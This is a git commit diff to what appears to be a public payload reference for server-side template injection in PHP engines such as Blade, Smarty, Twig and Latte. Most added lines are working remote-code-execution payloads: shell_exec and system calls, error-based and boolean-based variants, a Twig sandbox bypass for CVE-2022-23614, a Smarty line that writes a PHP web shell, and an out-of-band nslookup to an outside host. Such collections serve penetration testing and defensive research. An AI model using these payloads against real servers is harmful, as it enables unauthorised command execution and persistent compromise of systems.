- Added SSTImap to the tools, as it now supports SSI detection and exploitation
SSTI:
- Added description for known detection and exploitation techniques
- Added payloads for universal detection
- Added universal payloads for different languages
- Added Error-Based and Boolean-Based payloads
- Moved SpEL payloads using `T()` to the correct category
- Moved Pug payloads to the correct language and updated info to reflect the actual name
This commit is contained in:
vladko312
2026-01-03 05:20:04 +03:00
parent bd72827e58
commit 7fb2ff75d7
12 changed files with 405 additions and 97 deletions

View File

@@ -5,6 +5,7 @@
## Summary
- [Templating Libraries](#templating-libraries)
- [Universal Payloads](#universal-payloads)
- [Smarty](#smarty)
- [Twig](#twig)
- [Twig - Basic Injection](#twig---basic-injection)
@@ -22,16 +23,43 @@
## Templating Libraries
| Template Name | Payload Format |
| --------------- | --------- |
| Blade (Laravel) | `{{ }}` |
| Latte | `{var $X=""}{$X}` |
| Mustache | `{{ }}` |
| Plates | `<?= ?>` |
| Smarty | `{ }` |
| Twig | `{{ }}` |
|-----------------|----------------|
| Blade (Laravel) | `{{ }}` |
| Latte | `{ }` |
| Mustache | `{{ }}` |
| Plates | `<?= ?>` |
| Smarty | `{ }` |
| Twig | `{{ }}` |
## Universal Payloads
Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty.
To use these payloads, wrap them in the appropriate tag.
```php
// Rendered RCE
shell_exec('id')
system('id')
// Error-Based RCE
ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based
fopen(join("", ["Y:/A:/", shell_exec('id')]), "r")
include(join("", ["Y:/A:/", shell_exec('id')]))
join("", ["xx", shell_exec('id')])()
// Boolean-Based RCE
1 / (pclose(popen("id", "wb")) == 0)
// Time-Based RCE
shell_exec('id && sleep 5')
system('id && sleep 5')
```
## Blade
> Universal payloads also work for Blade.
[Official website](https://laravel.com/docs/master/blade)
> Blade is the simple, yet powerful templating engine that is included with Laravel.
@@ -45,6 +73,8 @@ The string `id` is generated with `{{implode(null,array_map(chr(99).chr(104).chr
## Smarty
> Universal payloads also work for Smarty before v5.
[Official website](https://www.smarty.net/docs/en/)
> Smarty is a template engine for PHP.
@@ -52,8 +82,8 @@ The string `id` is generated with `{{implode(null,array_map(chr(99).chr(104).chr
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
{system('ls')} // compatible v3, deprecated in v5
{system('cat index.php')} // compatible v3, deprecated in v5
```
---
@@ -109,6 +139,19 @@ $output = $twig > render (
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
{{['nslookup oastify.com']|filter('system')}}
{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // Enable verbose error output for Error-Based
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // Error-Based RCE <= 1.19
{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // Error-Based RCE >=1.41, >=2.10, >=3.0
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19
{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614
```
With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases:
```php
{{ {'id':'shell_exec'}|map('call_user_func')|join }}
```
Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)
@@ -128,6 +171,8 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
## Latte
> Universal payloads also work for Latte.
### Latte - Basic Injection
```php
@@ -262,5 +307,6 @@ layout template:
## References
- [Limitations are just an illusion advanced server-side template exploitation with RCE everywhere- YesWeHack - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
- [Limitations are just an illusion advanced server-side template exploitation with RCE everywhere - YesWeHack - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
- [Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58)
- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)